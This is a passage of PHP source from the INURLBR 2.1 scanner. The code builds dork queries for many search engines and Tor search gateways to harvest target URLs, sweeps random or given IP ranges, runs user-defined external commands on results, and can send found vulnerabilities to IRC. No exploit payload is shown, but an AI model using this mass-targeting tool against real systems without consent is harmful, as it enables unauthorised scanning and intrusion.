  3296.     echo (!is_null($list_proxy_) ? "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ PROXY FILE RANDOM ]:: {$_SESSION["c1"]}[ {$list_proxy_} ]{$_SESSION["c0"]} " : NULL );
  3297.  
  3298. ################################################################################
  3299. # SEARCH ENGINE :::  google
  3300. ################################################################################
  3301.  
  3302.     if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3303.  
  3304.         $randHost = __dominioGoogleRandom();
  3305.         $_SESSION["config"]["dork_tmp"] = $dork_;
  3306.         $_SESSION["config"]["conf_array_tmp"] = $confArray;
  3307.         __pageEngine($confArray, "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $dork_, $postDados, 0, 0, 1);
  3308.     }
  3309.  
  3310.  
  3311. ################################################################################
  3312. # SEARCH ENGINE :::  bing
  3313. ################################################################################
  3314.  
  3315.     if (__validateOptions($_SESSION["config"]["motor"], 2) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3316.  
  3317.         __pageEngine($confArray, "BING", "http://www.bing.com/search?q=[DORK]&&filt=rf&first=[PAG]", $dork_, $postDados, 1, 991, 50);
  3318.     }
  3319.  
  3320. ################################################################################
  3321. # SEARCH ENGINE :::  yahoo
  3322. ################################################################################
  3323.  
  3324.     if (__validateOptions($_SESSION["config"]["motor"], 3) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3325.  
  3326.         __pageEngine($confArray, "YAHOO BR", "http://search.yahoo.com/search?p=[DORK]&ei=UTF-8&b=[PAG]", $dork_, $postDados, 1, 471, 10);
  3327.     }
  3328.  
  3329. ################################################################################
  3330. # SEARCH ENGINE :::  ask
  3331. ################################################################################
  3332.  
  3333.     if (__validateOptions($_SESSION["config"]["motor"], 4) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3334.  
  3335.         __pageEngine($confArray, "ASK", "http://www.ask.com/web?q=[DORK]&page=[PAG]&qid=[RANDOM]", $dork_, $postDados, 0, 16, 1);
  3336.     }
  3337.  
  3338. ################################################################################
  3339. # SEARCH ENGINE :::  hao123
  3340. ################################################################################
  3341.  
  3342.  
  3343.     if (__validateOptions($_SESSION["config"]["motor"], 5) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3344.  
  3345.         __pageEngine($confArray, "HAO123 BR", "http://search.hao123.com.br/s?tn=[RANDOM]&f=0&wd=[DORK]&haobd=[RANDOM]FG=1&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 550, 10);
  3346.     }
  3347.  
  3348. ################################################################################
  3349. # SEARCH ENGINE :::  googleapis
  3350. ################################################################################
  3351.  
  3352.     if (__validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], 6) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3353.  
  3354.         __pageEngine($confArray, "GOOGLE API", "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&rsz=8&q=[DORK]&start=[PAG]&userip=[IP]&filter=1&safe=off", $dork_, $postDados, 0, 56, 4);
  3355.     }
  3356.  
  3357. ################################################################################
  3358. # SEARCH ENGINE :::  lycos
  3359. ################################################################################
  3360.  
  3361.     if (__validateOptions($_SESSION["config"]["motor"], 7) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3362.         $_ = __request_info("http://search.lycos.com", $_SESSION["config"]["proxy"], $postDados);
  3363.         $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]);
  3364.  
  3365.         __pageEngine($confArray, "LYCOS", "http://search.lycos.com/web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}&pn=[PAG]", $dork_, $postDados, 0, 24, 1);
  3366.     }
  3367.  
  3368. ################################################################################
  3369. # SEARCH ENGINE :::  uol.com.br
  3370. ################################################################################
  3371.  
  3372.     if (__validateOptions($_SESSION["config"]["motor"], 8) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3373.  
  3374.         __pageEngine($confArray, "UOL BR", "http://busca.uol.com.br/web/?q=[DORK]&start=[PAG]", $dork_, $postDados, 10, 130, 10);
  3375.     }
  3376.  
  3377. ################################################################################
  3378. # SEARCH ENGINE :::  us.yhs4.search.yahoo
  3379. ################################################################################
  3380.  
  3381.     if (__validateOptions($_SESSION["config"]["motor"], 9) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3382.  
  3383.         __pageEngine($confArray, "YAHOO US", "http://us.yhs4.search.yahoo.com/yhs/search?p=[DORK]&fr=goodsearch-yhsif&b=[PAG]", $dork_, $postDados, 1, 551, 10);
  3384.     }
  3385.  
  3386. ################################################################################
  3387. # SEARCH ENGINE :::  sapo.pt
  3388. ################################################################################
  3389.  
  3390.     if (__validateOptions($_SESSION["config"]["motor"], 10) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3391.  
  3392.         __pageEngine($confArray, "SAPO", "http://pesquisa.sapo.pt/?adultfilter=strict&barra=resumo&cluster=0&format=html&limit=10&location=pt&page=[PAG]&q=[DORK]&st=web", $dork_, $postDados, 0, 14, 1);
  3393.     }
  3394.  
  3395. ################################################################################
  3396. # SEARCH ENGINE :::  dmoz
  3397. ################################################################################
  3398.  
  3399.     if (__validateOptions($_SESSION["config"]["motor"], 11) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3400.  
  3401.         __pageEngine($confArray, "DMOZ", "http://www.dmoz.org/search/search?q=[DORK]&start=[PAG]&type=next&all=yes&cat=", $dork_, $postDados, 0, 800, 20);
  3402.     }
  3403.  
  3404. ################################################################################
  3405. # SEARCH ENGINE :::  gigablast
  3406. ################################################################################
  3407.  
  3408.     if (__validateOptions($_SESSION["config"]["motor"], 12) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3409.  
  3410.         __pageEngine($confArray, "GIGABLAST", "http://www.gigablast.com/search?k3h=223119&s=22&rat=0&sc=1&ns=100&n=100&sites=&q=[DORK]", $dork_, $postDados, 0, 1, 1);
  3411.     }
  3412.  
  3413. ################################################################################
  3414. # SEARCH ENGINE :::  web.search.naver.com
  3415. ################################################################################
  3416.  
  3417.     if (__validateOptions($_SESSION["config"]["motor"], 13) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3418.  
  3419.         __pageEngine($confArray, "NEVER", "http://web.search.naver.com/search.naver?where=webkr&query=[DORK]&xc=&docid=0&qt=df&lang=all&f=&r=&st=s&fd=2&start=[PAG]", $dork_, $postDados, 1, 500, 10);
  3420.     }
  3421.  
  3422. ################################################################################
  3423. # SEARCH ENGINE :::  br.baidu.com
  3424. ################################################################################
  3425.  
  3426.     if (__validateOptions($_SESSION["config"]["motor"], 14) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3427.  
  3428.         __pageEngine($confArray, "BAIDU BR", "http://www.baidu.com.br/s?usm=1&rn=100&wd=[DORK]&ie=utf-8&pn=[PAG]&showTop=0", $dork_, $postDados, 0, 1500, 100);
  3429.     }
  3430.  
  3431. ################################################################################
  3432. # SEARCH ENGINE :::  www.yandex.ru
  3433. ################################################################################
  3434.  
  3435.     if (__validateOptions($_SESSION["config"]["motor"], 15) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3436.  
  3437.         __pageEngine($confArray, "YANDEX", "http://yandex.ru/yandsearch?text=[DORK]&p=[PAG]&lr=10136", $dork_, $postDados, 0, 30, 1);
  3438.     }
  3439.  
  3440. ################################################################################
  3441. # SEARCH ENGINE :::  www.zoo.com
  3442. ################################################################################
  3443.  
  3444.     if (__validateOptions($_SESSION["config"]["motor"], 16) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3445.  
  3446.         __pageEngine($confArray, "ZOO", "http://www.zoo.com/Zoo-Site/search/web?qsi=[PAG2]&q=[DORK]&p=[PAG]&fcoid=4&fpid=2", $dork_, $postDados, 1, 211, 20, 10);
  3447.     }
  3448.  
  3449. ################################################################################
  3450. # SEARCH ENGINE :::  www.hotbot.com
  3451. ################################################################################
  3452.  
  3453.     if (__validateOptions($_SESSION["config"]["motor"], 17) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3454.         $_ = __request_info("http://www.hotbot.com/", $_SESSION["config"]["proxy"], $postDados);
  3455.         $_SESSION["config"]["idPesquisaLycos"] = __getIdSearchLycos($_["corpo"]);
  3456.         __pageEngine($confArray, "HOTBOT", "http://www.hotbot.com/search/web?pn=[PAG]web?q=[DORK]&keyvol={$_SESSION["config"]["idPesquisaLycos"]}", $dork_, $postDados, 0, 24, 1);
  3457.     }
  3458.  
  3459. ################################################################################
  3460. # SEARCH ENGINE :::  www.zhongsou.com
  3461. ################################################################################
  3462.  
  3463.     if (__validateOptions($_SESSION["config"]["motor"], 18) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3464.  
  3465.         __pageEngine($confArray, "ZHONGSOU", "http://www.zhongsou.com/third?w=[DORK]&b=[PAG]", $dork_, $postDados, 1, 50, 1);
  3466.     }
  3467.  
  3468. ################################################################################
  3469. # SEARCH ENGINE :::  hksearch.timway.com
  3470. ################################################################################
  3471.    if (__validateOptions($_SESSION["config"]["motor"], 19) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3472.  
  3473.         __pageEngine($confArray, "HKSEARCH", "http://hksearch.timway.com/search.php?query=[DORK]&region=zh-hant-hk&p=[PAG]", $dork_, $postDados, 1, 12, 1);
  3474.     }
  3475.  
  3476. ################################################################################
  3477. # SEARCH ENGINE :::  find.ezilon.com / USA
  3478. ################################################################################
  3479.  
  3480.     if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3481.  
  3482.         __pageEngine($confArray, "EZILION USA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=usa&f=", $dork_, $postDados, 0, 215, 15);
  3483.     }
  3484.  
  3485. ################################################################################
  3486. # SEARCH ENGINE :::  find.ezilon.com / ASIA
  3487. ################################################################################
  3488.  
  3489.     if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3490.  
  3491.         __pageEngine($confArray, "EZILION ASIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=asia&f=", $dork_, $postDados, 0, 215, 15);
  3492.     }
  3493.  
  3494. ################################################################################
  3495. # SEARCH ENGINE :::  find.ezilon.com / EUROPA
  3496. ################################################################################
  3497.  
  3498.     if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3499.  
  3500.         __pageEngine($confArray, "EZILION EUROPA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=eu&f=", $dork_, $postDados, 0, 215, 15);
  3501.     }
  3502.  
  3503. ################################################################################
  3504. # SEARCH ENGINE :::  find.ezilon.com / INDIA
  3505. ################################################################################
  3506.    if (__validateOptions($_SESSION["config"]["motor"], 20) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3507.  
  3508.         __pageEngine($confArray, "EZILION INDIA", "http://find.ezilon.com/search.php?q=[DORK]&start=[PAG]&t=&v=in&f=", $dork_, $postDados, 0, 215, 15);
  3509.     }
  3510.  
  3511. ################################################################################
  3512. # SEARCH ENGINE :::  www.sogou.com
  3513. ################################################################################
  3514.  
  3515.     if (__validateOptions($_SESSION["config"]["motor"], 21) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3516.  
  3517.         __pageEngine($confArray, "SOGOU", "http://www.sogou.com/web?query=[DORK]&page=[pag]&ie=utf8", $dork_, $postDados, 1, 20, 1);
  3518.     }
  3519.  
  3520. ################################################################################
  3521. # SEARCH ENGINE :::  api.duckduckgo.com
  3522. ################################################################################
  3523.  
  3524.     if (__validateOptions($_SESSION["config"]["motor"], 22) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3525.  
  3526.         $postDados = TRUE;
  3527.         __pageEngine($confArray, "DUCK DUCK GO", "https://api.duckduckgo.com/html/?q=[DORK]&kl=en-us&p=-1&s=[PAG]&dc=[PAG3]&o=json&api=d.js", $dork_, $postDados, 0, 800, 50, 0, 37);
  3528.     }
  3529.  
  3530. ################################################################################
  3531. # SEARCH ENGINE :::  boorow
  3532. ################################################################################
  3533.  
  3534.     if (__validateOptions($_SESSION["config"]["motor"], 23) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3535.  
  3536.         $postDados = TRUE;
  3537.         __pageEngine($confArray, "BOOROW", "http://boorow.com/Pages/site_br_aspx?query=[DORK]", $dork_, $postDados, 0, 0, 1);
  3538.     }
  3539.  
  3540. ################################################################################
  3541. # SEARCH ENGINE ::: Google Generic RANDOM
  3542. ################################################################################
  3543.  
  3544.     if (__validateOptions($_SESSION["config"]["motor"], 24) || __validateOptions($_SESSION["config"]["motor"], 1) || __validateOptions($_SESSION["config"]["motor"], "all")) {
  3545.  
  3546.         $randHost = __dominioGoogleRandom();
  3547.         $randGeneric = __googleGenericRandom();
  3548.         __pageEngine($confArray, "GOOGLE_GENERIC_RANDOM - {$randHost} ID: {$randGeneric}", "http://{$randHost}/cse?cx={$randGeneric}&q=[DORK]&num=500&hl=en&as_qdr=all&start=[PAG]&sa=N", $dork_, $postDados, 0, 5, 1);
  3549.     }
  3550.  
  3551.  
  3552. #===============================================================================
  3553. #===============================================================================
  3554. #===============================================================================
  3555. #======================[ MOTORES DE BUSCA ESPECIAIS  ]==========================
  3556. #===============================================================================
  3557. #===============================================================================
  3558. #===============================================================================
  3559. #===============================================================================
  3560. # SEARCH ENGINE :::  ndj6p3asftxboa7j.tor2web.org / Tor find ===================
  3561. #===============================================================================
  3562.  
  3563.     if (__validateOptions($_SESSION["config"]["motor"], "e1")) {
  3564.  
  3565.         __pageEngine("TOR FIND", "https://ndj6p3asftxboa7j.tor2web.org/search.php?search_query=[DORK]&page_num=[PAG]&domainchoice=onion", $dork_, $postDados, 1, 5, 1);
  3566.     }
  3567.  
  3568. #===============================================================================
  3569. # SEARCH ENGINE :::  elephantjmjqepsw.tor2web.org ==============================
  3570. #===============================================================================
  3571.  
  3572.     if (__validateOptions($_SESSION["config"]["motor"], "e2")) {
  3573.  
  3574.         __pageEngine("ELEPHANT", "https://elephantjmjqepsw.tor2web.orgsearch?q=[DORK]&page=[PAG]", $dork_, $postDados, 0, 29, 1);
  3575.     }
  3576.  
  3577. #===============================================================================
  3578. # SEARCH ENGINE :::  kbhpodhnfxl3clb4.tor2web.org ==============================
  3579. #===============================================================================
  3580.  
  3581.     if (__validateOptions($_SESSION["config"]["motor"], "e3")) {
  3582.  
  3583.         __pageEngine("TORSEARCH", "https://kbhpodhnfxl3clb4.tor2web.org/en/search?j=f&page=[PAG]&q=[DORK]&utf8=%E2%9C%93", $dork_, $postDados, 0, 10, 1);
  3584.     }
  3585.  
  3586. #===============================================================================
  3587. # SEARCH ENGINE :::  search.wikileaks.org ======================================
  3588. #===============================================================================
  3589.  
  3590.     if (__validateOptions($_SESSION["config"]["motor"], "e4")) {
  3591.  
  3592.         __pageEngine("WIKILEAKS", "https://search.wikileaks.org/?page=[PAG]&q=[DORK]&sort=0#results", $dork_, $postDados, 1, 60, 1);
  3593.     }
  3594.  
  3595. #===============================================================================
  3596. # SEARCH ENGINE ::: oth.net ====================================================
  3597. #===============================================================================
  3598.  
  3599.     if (__validateOptions($_SESSION["config"]["motor"], "e5")) {
  3600.  
  3601.         __pageEngine("OTN", "http://oth.net/s/s?q=[DORK]&cl=1&skip=[PAG]", $dork_, $postDados, 1, 211, 20);
  3602.     }
  3603.  
  3604. #===============================================================================
  3605. # SEARCH ENGINE ::: exploits.shodan.io =========================================
  3606. #===============================================================================
  3607.  
  3608.     if (__validateOptions($_SESSION["config"]["motor"], "e6")) {
  3609.  
  3610.         __pageEngine("EXPLOITS SHODAN", "https://exploits.shodan.io/?q=[DORK]&p=[PAG]", $dork_, $postDados, 1, 25, 1);
  3611.     }
  3612.  
  3613.     __plus();
  3614. }
  3615.  
  3616. ################################################################################
  3617. #INITIAL INFORMATION############################################################
  3618. ################################################################################
  3619.  
  3620. function __startingBanner() {
  3621.  
  3622.     echo "\n{$_SESSION["c1"]}[ ! ] Starting SCANNER INURLBR 2.1 at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c9"]}
  3623. [ ! ] legal disclaimer: Usage of INURLBR for attacking targets without prior mutual consent is illegal.
  3624. It is the end user's responsibility to obey all applicable local, state and federal laws.
  3625. Developers assume no liability and are not responsible for any misuse or damage caused by this program{$_SESSION["c0"]}\n";
  3626.  
  3627.     $file = not_isnull_empty($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL;
  3628.     $file_all = not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL;
  3629.     $command = not_isnull_empty($_SESSION['config']['command-vul']) ? $_SESSION['config']['command-vul'] : $_SESSION['config']['command-all'];
  3630.     $subcommand = not_isnull_empty($_SESSION['config']['sub-cmd-vul']) ? $_SESSION['config']['sub-cmd-vul'] : $_SESSION['config']['sub-cmd-all'];
  3631.  
  3632.     echo (not_isnull_empty($_SESSION['config']['ifemail']) ?
  3633.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER EMAIL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifemail']} ]{$_SESSION["c0"]}" : NULL);
  3634.  
  3635.     echo (is_array($_SESSION['config']['dork-file']) ?
  3636.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORK FILE ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-file']} ]{$_SESSION["c0"]}" : NULL);
  3637.  
  3638.     echo (not_isnull_empty($_SESSION['config']['dork-rand']) ?
  3639.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DORKS GENERATED ]::{$_SESSION["c1"]}[ {$_SESSION['config']['dork-rand']} ]{$_SESSION["c0"]}" : NULL);
  3640.  
  3641.     echo (is_array($_SESSION['config']['irc']['conf']) ?
  3642.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ SEND VULN IRC ]::{$_SESSION["c1"]}[ server: {$_SESSION['config']['irc']['conf'][0]} / channel: {$_SESSION['config']['irc']['conf'][1]} ]{$_SESSION["c0"]}" : NULL);
  3643.  
  3644.     echo (not_isnull_empty($_SESSION['config']['ifurl']) ?
  3645.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILTER URL ]::{$_SESSION["c1"]}[ {$_SESSION['config']['ifurl']} ]{$_SESSION["c0"]}" : NULL);
  3646.  
  3647.     echo (not_isnull_empty($file) ?
  3648.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file}  ]{$_SESSION["c0"]}" : NULL);
  3649.  
  3650.     echo (not_isnull_empty($file_all) ?
  3651.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]}[ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all}  ]{$_SESSION["c0"]}" : NULL);
  3652.  
  3653.     echo (not_isnull_empty($command) ?
  3654.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL COMMAND ]::{$_SESSION["c1"]} [ $command ]{$_SESSION["c0"]}" : NULL);
  3655.  
  3656.     echo (not_isnull_empty($subcommand) ?
  3657.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ DEFINED EXTERNAL SUB_COMMAND ]::{$_SESSION["c1"]} [ $subcommand ]{$_SESSION["c0"]}" : NULL);
  3658.  
  3659.     echo (not_isnull_empty($_SESSION['config']['proxy-file']) ?
  3660.             "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c16"]}[ FILE SOURCE LIST OF PROXY ]::{$_SESSION["c1"]} [ {$_SESSION['config']['proxy-file']} ]{$_SESSION["c0"]}" : NULL);
  3661. }
  3662.  
  3663. ################################################################################
  3664. #RUN WITH SEARCH ENGINES########################################################
  3665. ################################################################################
  3666. # (PHP 4 >= 4.0.1, PHP 5) create_function — Create an anonymous (lambda-style)
  3667. # function http://php.net/manual/en/function.create-function.php
  3668.  
  3669. function __main($dork, $motor, $cod) {
  3670.  
  3671.     $dork_[0] = (strstr($dork, '[DORK]') ? explode('[DORK]', $dork) : array($dork));
  3672.     $dork_[1] = (not_isnull_empty($_SESSION['config']['dork-file']) ? __openFile($_SESSION['config']['dork-file'], 1) : $dork_[0]);
  3673.     $dork_[2] = (not_isnull_empty($_SESSION['config']['dork-rand']) ? __randomDork($_SESSION['config']['dork-rand']) : array());
  3674.     $dork_[3] = array_filter(array_unique(array_merge($dork_[0], $dork_[1], $dork_[2])));
  3675.  
  3676.     $file_proxy = (not_isnull_empty($_SESSION['config']['proxy-file']) ? __openFile($_SESSION['config']['proxy-file'], 1) : NULL);
  3677.     $list_proxy = (is_array($file_proxy) ? ($file_proxy) : NULL);
  3678.  
  3679.     print __bannerLogo();
  3680.  
  3681.     __startingBanner();
  3682.  
  3683.     for ($i = 0; $i <= count($dork_[3]); $i++) {
  3684.  
  3685.         if (!empty($dork_[3][$i])) {
  3686.  
  3687.             echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c16"]}[ DORK ]::{$_SESSION["c1"]}[ {$dork_[3][$i]} ]\n";
  3688.  
  3689.             //$objNewSearch = create_function('$dork_, $motor, $list_proxy', $cod);
  3690.             //$objNewSearch(urlencode($dork_[3][$i]), $motor, $list_proxy);
  3691.        
  3692.             __engines(urlencode($dork_[3][$i]), $list_proxy) . __plus();
  3693.  
  3694.             ($_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL;
  3695.             ($_SESSION["config"]["pr"]) ? $_SESSION["config"]["totas_urls"] = NULL : NULL;
  3696.  
  3697.             echo "\n";
  3698.         }
  3699.     }
  3700.  
  3701.     (!$_SESSION["config"]["pr"]) ? __process(explode("\n", $_SESSION["config"]["totas_urls"])) . __plus() : NULL;
  3702.  
  3703.     __exitProcess();
  3704. }
  3705.  
  3706. ################################################################################
  3707. #RUN VALIDATION / PROCESSES SCAN RANG IP########################################
  3708. ################################################################################
  3709.  
  3710. if (not_isnull_empty($_SESSION['config']['range']) || not_isnull_empty($_SESSION['config']['range-rand'])) {
  3711.  
  3712.     print __bannerLogo();
  3713.     __startingBanner();
  3714.     not_isnull_empty($_SESSION['config']['range']) ? __process(__generatorRangeIP($_SESSION['config']['range'])) : NULL;
  3715.     not_isnull_empty($_SESSION['config']['range-rand']) ? __process(__generatorIPRandom(array(1 => $_SESSION['config']['range-rand']))) : NULL;
  3716.     __exitProcess();
  3717. }
  3718.  
  3719.  
  3720. ################################################################################
  3721. #RUN VALIDATION / PROCESSES WITH FILE###########################################
  3722. ################################################################################
  3723.  
  3724. if (not_isnull_empty($_SESSION['config']['abrir-arquivo'])) {
  3725.  
  3726.     print __bannerLogo();
  3727.     __startingBanner();
  3728.     __openFile($_SESSION['config']['abrir-arquivo']);
  3729.     __plus();
  3730.     __exitProcess();
  3731. }
  3732.  
  3733. ################################################################################
  3734. #RUN WITH SEARCH ENGINES########################################################
  3735. ################################################################################
  3736.  
  3737. __main($_SESSION['config']['dork'], $_SESSION['config']['motor'], $_SESSION['config']['cod']);
  3738.  
  3739. function __extra() {
  3740.  
  3741.     $banners = array(
  3742.         "{$_SESSION["c1"]}
  3743. _ _  _ _  _ ____ _    ___  ____
  3744. | |\ | |  | |__/ |    |__] |__/
  3745. | | \| |__| |  \ |___ |__] |  \
  3746. ", "{$_SESSION["c1"]}
  3747. (        )         (    (          (    
  3748. )\ )  ( /(         )\ ) )\ )   (   )\ )  
  3749. (()/(  )\())    (  (()/((()/( ( )\ (()/(  
  3750. /(_))((_)\     )\  /(_))/(_)))((_) /(_))
  3751. (_))   _((_) _ ((_)(_)) (_)) ((_)_ (_))  
  3752. |_ _| | \| || | | || _ \| |   | _ )| _ \  
  3753. | |  | .` || |_| ||   /| |__ | _ \|   /  
  3754. |___| |_|\_| \___/ |_|_\|____||___/|_|_\
  3755. ", "{$_SESSION["c1"]}
  3756. .-..-. .-..-. .-..----. .-.   .----. .----.
  3757. | ||  `| || { } || {}  }| |   | {}  }| {}  }
  3758. | || |\  || {_} || .-. \| `--.| {}  }| .-. \
  3759. `-'`-' `-'`-----'`-' `-'`----'`----' `-' `-'
  3760.     ", "{$_SESSION["c1"]}
  3761. ___ _   _ _   _ ____  _     ____  ____  
  3762. |_ _| \ | | | | |  _ \| |   | __ )|  _ \
  3763. | ||  \| | | | | |_) | |   |  _ \| |_) |
  3764. | || |\  | |_| |  _ <| |___| |_) |  _ <
  3765. |___|_| \_|\___/|_| \_\_____|____/|_| \_\
  3766. ", "{$_SESSION["c1"]}
  3767.                                     /~\
  3768.                                    |oo )      /INURLBR
  3769.                                    _\=/_
  3770.                    ___        #   /  _  \   #
  3771.                   /() \        \\//|/.\|\\//
  3772.                 _|_____|_       \/  \_/  \/
  3773.                | | === | |         |\ /|
  3774.                |_|  O  |_|         \_ _/
  3775.                 ||  O  ||          | | |
  3776.                 ||__*__||          | | |
  3777.                |~ \___/ ~|         []|[]
  3778.                /=\ /=\ /=\         | | |
  3779. ________________[_]_[_]_[_]________/_]_[_\_________________________
  3780. ", "{$_SESSION["c1"]}
  3781. ______   __  __  __  __  ____    __       ____     ____      
  3782. /\__  _\ /\ \/\ \/\ \/\ \/\  _`\ /\ \     /\  _`\  /\  _`\    
  3783. \/_/\ \/ \ \ `\\ \ \ \ \ \ \ \L\ \ \ \    \ \ \L\ \\ \ \L\ \  
  3784.   \ \ \  \ \ , ` \ \ \ \ \ \ ,  /\ \ \  __\ \  _ <'\ \ ,  /  
  3785.    \_\ \__\ \ \`\ \ \ \_\ \ \ \\ \\ \ \L\ \\ \ \L\ \\ \ \\ \  
  3786.    /\_____\\ \_\ \_\ \_____\ \_\ \_\ \____/ \ \____/ \ \_\ \_\
  3787.    \/_____/ \/_/\/_/\/_____/\/_/\/ /\/___/   \/___/   \/_/\/ /
  3788. ", "{$_SESSION["c1"]}
  3789. _____ ______  _     _ ______  _       ______ ______  
  3790. (_____)  ___ \| |   | (_____ \| |     (____  (_____ \
  3791.   _  | |   | | |   | |_____) ) |      ____)  )____) )
  3792.  | | | |   | | |   | (_____ (| |     |  __  (_____ (
  3793. _| |_| |   | | |___| |     | | |_____| |__)  )    | |
  3794. (_____)_|   |_|\______|     |_|_______)______/     |_|
  3795. ", "{$_SESSION["c1"]}
  3796.                           ______                                  
  3797.                        .-.      .-.                              
  3798.                       /            \                              
  3799.                      |  [ INURLBR ] |                            
  3800.                      |,  .-.  .-.  ,|                            
  3801.                      | )(|_/  \|_)( |                            
  3802.                      |/     /\     \|                            
  3803.              _       (_     ^^     _)                            
  3804.      _\ ____) \_______\__|IIIIII|__/_______________________________    
  3805.     (_)[___]{}<________|-\IIIIII/-|__INURL__INURL__INURL___________\    
  3806.       /     )_/        \          /                              
  3807.                         \ ______ /
  3808. ", "{$_SESSION["c1"]}
  3809.    
  3810. 88 88b 88 88   88 88**Yb 88     88**Yb 88**Yb
  3811. 88 88Yb88 88   88 88__dP 88     88__dP 88__dP
  3812. 88 88 Y88 Y8   8P 88*Yb  88  .o 88**Yb 88*Yb
  3813. 88 88  Y8 `YbodP' 88  Yb 88ood8 88oodP 88  Yb
  3814. ", "{$_SESSION["c1"]}
  3815.    
  3816.       #                                                
  3817.       ##                        ###                    
  3818.   ### ###  ##  ###  ##  ####### ###     ####### #######
  3819.   ### #### ##  ###  ##       ## ###          ##      ##
  3820.   ### #######  ###  ##  ######  ###     ######  ######
  3821.   ### ### ###  ###  ##  ##  ##  ###     ###  ## ##  ##
  3822.   ### ###  ##   #####   ##   ## ####### ######  ##   ##
  3823.             #    
  3824. ", "{$_SESSION["c1"]}
  3825.    
  3826. __    __   __    __   _______  __      __    __   __    __   _______  __  
  3827. |  |  |  | |  |  |  | |   ____||  |    |  |  |  | |  |  |  | |   ____||  |
  3828. |  |__|  | |  |  |  | |  |__   |  |    |  |__|  | |  |  |  | |  |__   |  |
  3829. |   __   | |  |  |  | |   __|  |  |    |   __   | |  |  |  | |   __|  |  |
  3830. |  |  |  | |  `--'  | |  |____ |__|    |  |  |  | |  `--'  | |  |____ |__|
  3831. |__|  |__|  \______/  |_______|(__)    |__|  |__|  \______/  |_______|(__)                                                                          
  3832. ", "{$_SESSION["c1"]}
  3833. _            _          
  3834. | |__  _ __  | |__  _ __
  3835. | '_ \| '__| | '_ \| '__|
  3836. | |_) | |    | |_) | |  
  3837. |_.__/|_|    |_.__/|_|
  3838. ", "{$_SESSION["c1"]}
  3839.     ___      .__   __. .___________. __   _______    ___      
  3840.    /   \     |  \ |  | |           ||  | |   ____|  /   \    
  3841.   /  ^  \    |   \|  | `---|  |----`|  | |  |__    /  ^  \    
  3842.  /  /_\  \   |  . `  |     |  |     |  | |   __|  /  /_\  \  
  3843. /  _____  \  |  |\   |     |  |     |  | |  |    /  _____  \  
  3844. /__/     \__\ |__| \__|     |__|     |__| |__|   /__/     \__\                                                              
  3845. ", "{$_SESSION["c1"]}
  3846. _____       _                       _          
  3847. /  ___|     | |                     (_)          
  3848. \ `--. _   _| |____   _____ _ __ ___ ___   _____
  3849. `--. \ | | | '_ \ \ / / _ \ '__/ __| \ \ / / _ \
  3850. /\__/ / |_| | |_) \ V /  __/ |  \__ \ |\ V /  __/
  3851. \____/ \__,_|_.__/ \_/ \___|_|  |___/_| \_/ \___|
  3852.  
